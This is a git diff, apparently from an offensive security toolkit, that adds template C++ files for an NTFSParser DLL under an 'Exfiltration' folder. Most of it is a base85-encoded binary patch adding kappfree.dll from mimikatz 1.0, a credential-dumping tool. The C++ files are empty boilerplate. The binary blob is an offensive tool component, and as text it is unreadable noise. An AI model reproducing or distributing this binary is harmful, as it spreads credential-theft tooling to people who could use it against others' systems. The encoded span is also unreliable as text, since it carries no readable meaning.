+ * Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +// +// This code uses libraries released under GPLv2(or later) written by cyb70289 + +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.cpp b/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.cpp new file mode 100644 index 0000000..2f18cb0 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// NTFSParserDLL.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.h b/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.h new file mode 100644 index 0000000..a11216a --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.h @@ -0,0 +1,18 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/targetver.h b/Exfiltration/NTFSParser/NTFSParserDLL/targetver.h new file mode 100644 index 0000000..87c0086 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.dll b/Exfiltration/mimikatz-1.0/Win32/kappfree.dll new file mode 100644 index 0000000000000000000000000000000000000000..83b3a439bcf0c91a009fc12f00bf576a30644ec4 GIT binary patch literal 34816 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 